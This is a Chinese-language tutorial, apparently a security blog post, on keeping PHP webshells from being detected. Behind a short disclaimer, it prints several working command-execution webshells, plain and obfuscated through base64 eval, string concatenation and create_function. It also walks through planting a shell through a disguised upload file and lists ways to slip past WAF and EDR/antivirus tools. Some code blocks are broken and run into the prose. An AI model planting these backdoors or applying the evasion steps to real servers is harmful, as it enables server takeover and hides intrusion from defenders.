0x01 Webshell免杀的深度解析

合法声明： 本文仅限于授权安全测试，旨在帮助安全研究人员深入学习Webshell免杀技术。本内容不可用于任何非法用途。

Webshell免杀技术是网络攻击者为规避安全检测而采用的一种策略。它主要利用先进的编码、混淆和流量伪装技术，使得在目标系统中植入的Webshell不被检测工具发现。为了实现这一点，我们需要了解Webshell的工作原理以及常用的免杀手段。

1.1 Webshell的基础构造

黑客示意图

Webshell通常是一个小型的Web脚本，允许攻击者在受害者的Web服务器上执行命令。它可以使用如PHP、ASP、JSP等脚本语言编写。这些脚本通常嵌入网站目录中，通过Web请求进行控制。

一个简单的PHP Webshell示例如下：

<pre><code class="language-php">&lt;?php if(isset($_GET[&#039;cmd&#039;])) { system($_GET[&#039;cmd&#039;]); } ?&gt;</code></pre>

这段代码在目标服务器上接收cmd参数并执行系统命令。尽管简单，但在未被安全防护措施检测到的情况下，能让攻击者完全控制服务器。

1.2 漏洞成因与利用

Webshell的植入通常依赖于Web应用的漏洞，例如文件上传漏洞、代码注入、SQL注入等。攻击者利用这些漏洞将Webshell上传至服务器，并通过网络请求与之交互执行命令。

免杀技术的关键在于使这些Webshell避开IDS/IPS、WAF等安全设备的检测。例如，许多安全工具会对常见的系统命令调用进行检测并阻止。因此，绕过这些检测规则是实现免杀的核心。

0x02 实战环境：搭建一个Webshell测试场

2.1 环境准备

为了探索Webshell的免杀技术，我们需要一个受控的测试环境。推荐使用以下工具和平台：

  • 操作系统：Kali Linux（攻击者）和 Ubuntu Server（目标服务器）
  • Web服务器：Apache/Nginx
  • 脚本语言：PHP
  • 数据库：MySQL

2.2 Webshell部署

在目标服务器上，我们将配置一个简单的PHP网站，并故意添加一个文件上传功能，以便测试Webshell上传和免杀效果：

  1. 在网站根目录中创建一个upload.php文件，允许文件上传。
  2. 将Webshell文件重命名为类似于image.php.jpg（假冒图片文件）。
  3. 在上传后，通过访问http://目标IP/uploads/image.php.jpg?cmd=whoami来验证Webshell是否工作。

通过这种方式，我们模拟了一个常见的文件上传漏洞场景。

0x03 Payload构造的艺术：免杀技巧揭秘

3.1 编码与混淆

为了绕过安全检测，攻击者通常会对Webshell进行编码和混淆。以下是一些常见的方法：

  • Base64编码：将Webshell代码进行Base64编码，并在目标服务器解码执行。例如：

<pre><code class="language-php"> &lt;?php eval(base64_decode(&#039;ZXZhbChzaGVsbF9leGVjKCdiYXNoIC1jICdlY2hvICJIZWxsbyBXb3JsZCInJykpOw==&#039;)); ?&gt; `

  • 字符串拼接：将关键函数名称分割成多个部分，通过拼接实现。例如：

`php &lt;?php $func = &#039;sys&#039; . &#039;tem&#039;; $func($_GET[&#039;cmd&#039;]); ?&gt; `

黑客示意图

3.2 动态代码生成

黑客示意图

动态生成代码是另一种有效的免杀技术。通过使用PHP的create_function或使用匿名函数，可以动态生成需要执行的代码： </code></pre>php <?php $cmd = $_GET['cmd']; $code = create_function('$c', 'system($c);'); $code($cmd); ?> `

3.3 流量伪装

通过将Webshell的请求伪装成合法流量，也能有效规避检测。例如，在HTTP请求中加入常见的User-Agent字符串，或者通过HTTPS加密传输，使得流量很难被分析。

0x04 规避检测：与安全设备的猫鼠游戏

4.1 绕过WAF检测

Web应用防火墙（WAF）是检测和阻止Webshell的重要防线。绕过它的常见技巧有：

  • 使用无害请求：在实际攻击请求中，混入大量无害请求以迷惑WAF。
  • 自定义加密：在请求中对参数进行自定义加密，并在服务器端解密执行。

4.2 EDR/AV对抗

许多企业使用EDR（终端检测与响应）和防病毒软件来检测恶意行为。以下是一些对抗手段：

  • 内存加载：将Webshell代码加载到内存中执行，以避免被文件扫描引擎检测。
  • 签名对抗：通过改动代码结构，避开基于签名的检测。

0x05 经验谈：免杀技术的秘密与陷阱

5.1 免杀的风险

虽然免杀技术可以帮助攻击者在短期内规避检测，但随着安全技术的不断发展，这些技术并不可靠。尤其是机器学习和行为分析技术的引入，使得免杀技术的有效性持续降低。

5.2 持续学习与更新

攻击者需要不断更新自己的技能，了解最新的检测手段和免杀策略。而对于防御者来说，不断更新防护策略和技术手段同样重要。

5.3 共享与合作

安全社区是一个开放的交流平台。无论是攻击者还是防御者，都应该积极参与交流与探讨，共同提升网络安全水平。

总结： Webshell免杀技术是攻击者常用的策略之一。通过编码、混淆、动态生成和流量伪装等方式，可以有效规避大多数检测工具。然而，攻击者和防御者之间的对抗将持续存在，只有通过不断学习和适应变化，才能在这场猫鼠游戏中立于不败之地。